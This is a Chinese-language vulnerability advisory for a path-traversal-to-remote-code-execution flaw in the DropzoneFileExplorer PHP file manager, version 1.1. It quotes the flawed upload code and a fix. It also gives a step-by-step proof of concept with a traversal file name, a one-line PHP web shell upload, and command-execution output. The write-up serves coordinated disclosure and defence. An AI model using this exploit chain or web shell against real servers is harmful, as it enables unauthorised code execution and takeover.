可续传(分块)上传处理程序信任客户端提供的 fileName,一路传到 fopen()。传入 ../../,你就能写到允许文件夹之外、存储根目录之外,直至 Web 根目录。该应用会执行 PHP,所以你植入的文件就会运行。
项目:KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| 公告 | GHSA-7626-89vx-5rpc |
| 类别 | CWE-22(路径遍历)-> CWE-434 -> RCE |
| 认证 | 默认需要认证,若 AUTH_ENABLE=false 则无需认证 |
| CVSS v4.0 | 8.5 高危(AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| 受影响版本 | v1.1(在提交 68858e0 处测试) |
| 修复版本 | v1.2 |
| 致谢 | Kanarat Kaeothong (Axiom0x) |
有两个函数很关键。uploadInit 从请求体中取出 fileName,除了一个 trim() 之外不做任何处理就保留下来(inc/functions.php,约 L2080):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize 随后将其读回并组装输出路径(inc/functions.php,L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() 本身没有问题。它调用 realpath() 并确保路径保持在用户的根目录之下。问题在于它接收到的参数。$destBaseAbs 和 $finalDirAbs 都经过了验证,但 $finalAbs——真正包含攻击者 fileName 的那个——从未被验证。fopen() 拿到的是原始的 .../shared/../../app/shell.php 字符串,操作系统会替你折叠掉 ..。
值得注意的是:此代码库中所有其他写入路径要么将组合后的路径通过 ensure_inside_allowed_roots() 处理,要么将文件名用 basename() 包裹。而这一处两者都没做。看起来像是一个被重构过、最终检查被遗漏的地方。
原版 v1.1,默认配置(AUTH_ENABLE=true)。操作者是普通用户 lowpriv,其唯一文件夹是 shared。
以 lowpriv 登录(从登录页面获取 CSRF token,然后 POST
auth_action=login)。
确认沙箱确实有效。直接上传到别人的文件夹会被拒绝:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
使用允许的文件夹,但污染 fileName:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
将 payload 作为单个分块发送:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
完成上传:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
响应报告的是 app/pwned.php。应用本身在告诉你,它写到了 shared 之外、存储根目录之外。
运行它:
GET /pwned.php?c=id
-> uid=... (command output)
以下是我针对本地实例的一次运行结果:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
完整攻击链(登录、CSRF、污染、分块、完成、执行)见 poc/exploit.py。
任何被允许上传的人都可以在 PHP 进程可写的任意位置写入文件,无论每用户文件夹规则如何规定。Web 根目录中的 .php 文件就是以 Web 用户身份执行远程代码。当 AUTH_ENABLE=false 时,没有登录步骤,直接就是未认证 RCE。
在 uploadFinalize 中,打开文件前将 fileName 裁剪为纯文件名,并重新检查组合后的路径:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
仅 basename() 就能阻止路径遍历。加上 ensure_inside_allowed_roots($finalAbs) 检查则是双保险版本,也与代码其余部分保护写入的方式一致。rename 策略分支(约 L2210)中重新计算 $finalName 的地方也需要同样处理。维护者已在 v1.2 中修复。
协调披露,在公开之前已修复。PoC 特意针对本地测试实例。不要将其指向你不拥有的任何目标。